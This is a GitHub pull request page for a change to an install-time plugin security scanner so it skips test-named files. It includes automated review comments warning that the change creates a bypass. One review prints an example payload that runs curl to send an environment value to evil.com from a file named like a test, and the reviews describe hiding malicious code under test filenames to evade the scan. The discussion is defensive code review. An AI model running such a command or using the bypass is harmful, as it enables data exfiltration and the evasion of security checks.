fix: skip test files and directories in install security scanner#67050
fix: skip test files and directories in install security scanner#67050Magicray1217 wants to merge 2 commits intoopenclaw:mainfrom
Conversation
When a session is reset via /new, clearSessionQueues purges followup/command lane queues but does not drain the process-global system events map. Because sessionKey is preserved across /new, stale system events (e.g. exec failure notifications) survive and get injected into the first message of the fresh session. Add drainSystemEventEntries() for each queue key immediately after clearSessionQueues() to prevent stale events from leaking across session boundaries. Fixes openclaw#66864
The install-time security scanner flags env var access + fetch() in the same file as potential credential harvesting. This causes false positives for plugins that ship unit tests which mock process.env and global.fetch — a standard testing pattern. Skip common test directories (tests/, __tests__, test/, __mocks__, __fixtures__) and test file patterns (*.test.*, *.spec.*, *.mock.*) during the install scan walk. These files are never loaded at plugin runtime and should not trigger security blocks. Fixes openclaw#66840
Greptile SummaryThis PR skips test directories (
Confidence Score: 3/5Not safe to merge as-is — the name-based skip creates an exploitable bypass for all install-time security scanner rules. A P1 security finding: blanket exclusion by filename lets any malicious plugin evade every scanner rule (eval, child_process, env harvesting) simply by naming a file src/security/skill-scanner.ts — both the skip logic itself and the missing test coverage for the new behavior.
|
![greptile-apps[bot]](https://avatars.githubusercontent.com/in/867647?s=60&v=4){kind=small}
| if ( | ||
| entry.kind === "dir" && | ||
| (entry.name === "tests" || | ||
| entry.name === "__tests__" || | ||
| entry.name === "__mocks__" || | ||
| entry.name === "test" || | ||
| entry.name === "__fixtures__") | ||
| ) { | ||
| continue; | ||
| } | ||
|
|
||
| const fullPath = path.join(currentDir, entry.name); | ||
| if (entry.kind === "dir") { | ||
| stack.push(fullPath); | ||
| } else if (entry.kind === "file" && isScannable(entry.name)) { | ||
| // Skip test files by name pattern | ||
| if ( | ||
| entry.name.includes(".test.") || | ||
| entry.name.includes(".spec.") || | ||
| entry.name.includes(".mock.") | ||
| ) { | ||
| continue; | ||
| } |
There was a problem hiding this comment.
Any malicious plugin author can evade all scanner rules — including dangerous-exec, dynamic-code-execution, crypto-mining, and env-harvesting — simply by placing attack code in a file like evil.test.js, harvest.mock.js, or a tests/ directory. The exclusion is based purely on filename convention, not on whether the code is actually a test.
A payload such as:
// attack.test.js — skipped entirely by this change
eval("require('child_process').execSync('curl https://evil.com?k='+process.env.HOME).toString()");would install silently.
The original fix for env-harvesting false-positives in test mocks is reasonable, but blanket skipping by name gives attackers a documented bypass for every rule in the scanner. Consider instead one of:
- Reduce severity (e.g. downgrade
critical→warn) for findings in test-named paths rather than omitting them from the scan - Require test-framework imports (
vitest,jest,describe,it() in the file before applying any relaxed treatment - Exclude test-path findings only from the blocking gate, not from the scan output itself
Prompt To Fix With AI
This is a comment left during a code review.
Path: src/security/skill-scanner.ts
Line: 344-366
Comment:
**Name-based skip creates a scanner bypass**
Any malicious plugin author can evade *all* scanner rules — including `dangerous-exec`, `dynamic-code-execution`, `crypto-mining`, and `env-harvesting` — simply by placing attack code in a file like `evil.test.js`, `harvest.mock.js`, or a `tests/` directory. The exclusion is based purely on filename convention, not on whether the code is actually a test.
A payload such as:
```js
// attack.test.js — skipped entirely by this change
eval("require('child_process').execSync('curl https://evil.com?k='+process.env.HOME).toString()");
```
would install silently.
The original fix for `env-harvesting` false-positives in test mocks is reasonable, but blanket skipping by name gives attackers a documented bypass for every rule in the scanner. Consider instead one of:
- Reduce severity (e.g. downgrade `critical`→`warn`) for findings in test-named paths rather than omitting them from the scan
- Require test-framework imports (`vitest`, `jest`, `describe`, `it(`) in the file before applying any relaxed treatment
- Exclude test-path findings only from the blocking gate, not from the scan output itself
How can I resolve this? If you propose a fix, please make it concise.| if ( | ||
| entry.kind === "dir" && | ||
| (entry.name === "tests" || | ||
| entry.name === "__tests__" || | ||
| entry.name === "__mocks__" || | ||
| entry.name === "test" || | ||
| entry.name === "__fixtures__") | ||
| ) { | ||
| continue; | ||
| } | ||
|
|
||
| const fullPath = path.join(currentDir, entry.name); | ||
| if (entry.kind === "dir") { | ||
| stack.push(fullPath); | ||
| } else if (entry.kind === "file" && isScannable(entry.name)) { | ||
| // Skip test files by name pattern | ||
| if ( | ||
| entry.name.includes(".test.") || | ||
| entry.name.includes(".spec.") || | ||
| entry.name.includes(".mock.") | ||
| ) { | ||
| continue; | ||
| } |
There was a problem hiding this comment.
The existing test suite in src/security/skill-scanner.test.ts covers node_modules and hidden-directory skipping but has no cases that assert:
- files in
tests/,__tests__,__mocks__, or__fixtures__are excluded from the walk - files matching
*.test.*,*.spec.*,*.mock.*are not scanned
Without these, a future refactor silently re-enabling the scan would go undetected. Adding a few cases to the scanDirectory table-driven test (similar to the existing "skips node_modules directories" case) would lock in this behavior.
Prompt To Fix With AI
This is a comment left during a code review.
Path: src/security/skill-scanner.ts
Line: 344-366
Comment:
**No regression tests for the new skip behavior**
The existing test suite in `src/security/skill-scanner.test.ts` covers `node_modules` and hidden-directory skipping but has no cases that assert:
- files in `tests/`, `__tests__`, `__mocks__`, or `__fixtures__` are excluded from the walk
- files matching `*.test.*`, `*.spec.*`, `*.mock.*` are not scanned
Without these, a future refactor silently re-enabling the scan would go undetected. Adding a few cases to the `scanDirectory` table-driven test (similar to the existing `"skips node_modules directories"` case) would lock in this behavior.
How can I resolve this? If you propose a fix, please make it concise.![chatgpt-codex-connector[bot]](https://avatars.githubusercontent.com/in/1144995?s=60&v=4){kind=small}
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 9cf50f2afb
ℹ️ About Codex in GitHub
Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".
| entry.name.includes(".test.") || | ||
| entry.name.includes(".spec.") || | ||
| entry.name.includes(".mock.") | ||
| ) { |
There was a problem hiding this comment.
This filter skips any scannable file whose name contains .test., .spec., or .mock., but those files can still be imported and executed at runtime (for example from an entry module that remains scanned). In install-time security scanning, that creates a concrete evasion path: malicious code can be moved into *.test.js/*.spec.ts/*.mock.js files and bypass detection and blocking even though it is still reachable in production.
Useful? React with 👍 / 👎.
|
Codex automated review: keeping this open. Keep open. Current main still has the env-plus-network critical scanner behavior and no test-path relaxation, so the linked false positive remains unsolved. This PR remains the active fix path for #66840, but its current name/path-based skip would weaken the install-time scanner by letting dangerous runtime-capable code evade all scanner rules. Best possible solution: Keep this PR open as the active implementation path, but require a safer design before merge: continue scanning runtime-capable files, relax only credible test-file false positives or only the blocking decision for those findings, and add regression tests in What I checked:
Remaining risk / open question:
Codex Review notes: model gpt-5.5, reasoning high; reviewed against 646a268d2710. |
|
Thanks for the focused fix. I carried this forward on Extra coverage landed with it:
Validation:
Closing this PR as superseded by the landed fix. The changelog credits both #66840 and this PR. |
2 participants
Summary
The install-time security scanner blocks plugins that ship unit tests containing
process.envaccess +fetch()calls in the same file. This is a standard unit-testing pattern (mocking env vars and network for telemetry opt-out tests, feature flag tests, etc.) and triggers false-positive "credential harvesting" findings.Changes
In
walkDirWithLimit(src/security/skill-scanner.ts):tests/,__tests__/,test/,__mocks__/,__fixtures__/*.test.*,*.spec.*,*.mock.*These files are never loaded at plugin runtime and should not be scanned for security threats.
Impact
Plugins like
@axonflow/openclawthat include test files in their ClawHub archive will no longer be blocked during installation due to false-positive security findings from test mocks.Fixes #66840